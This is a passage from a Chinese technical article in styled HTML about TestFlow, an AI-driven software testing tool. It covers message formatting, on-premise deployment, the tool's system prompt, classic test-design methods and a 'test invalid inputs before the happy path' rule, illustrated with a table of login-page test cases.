left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">消息格式智能序列化</span></strong><span leaf="">：当消息只包含文本时，</span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">content</span></code><span leaf=""> 字段序列化为字符串（兼容性最广）；包含图片时，自动切换为数组格式：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">支持 </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">本地私有化部署</span></strong><span leaf="">（Ollama、vLLM）也是一个重要考量 —— 在数据安全敏感的场景下，所有数据都可以在内网流转，不出企业边界。</span></p><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">七、提示词工程：AI 测试的&#34;灵魂&#34;</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">提示词是控制 AI 测试行为的核心。TestFlow 内置了一套精心设计的系统提示词，赋予 AI &#34;资深测试工程师&#34;的角色。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">7.1 五大测试方法自动应用</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">提示词中内嵌了标准软件测试方法论，AI 会自动运用：</span></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">等价类划分</span></strong><span leaf=""> — 有效/无效输入分类测试</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">边界值分析</span></strong><span leaf=""> — 最小值、最大值、超长输入</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">场景法</span></strong><span leaf=""> — 完整业务流程走通</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">错误推测法</span></strong><span leaf=""> — SQL 注入、特殊字符</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">判定表</span></strong><span leaf=""> — 多条件组合</span></p></li></ol><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">7.2 &#34;先异常后正常&#34;的铁律</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这是提示词设计中的一个关键策略：</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(130, 127, 196);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(112, 103, 166, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">任何含表单的页面，必须先穷举异常场景，最后才执行正向流程。</span></strong></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">为什么？因为一旦正向操作成功（比如登录成功跳转），当前页面的异常测试机会就永久丢失了。以登录页面为例，AI 会严格按这个顺序执行：</span></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">顺序</span></p></th><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">场景</span></p></th><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">方法</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">1</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">全空直接提交</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">等价类-无效</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">2</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">空用户名+任意密码</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">等价类-无效</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">3</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">任意用户名+空密码</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">等价类-无效</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">4</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">不存在账号+任意密码</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 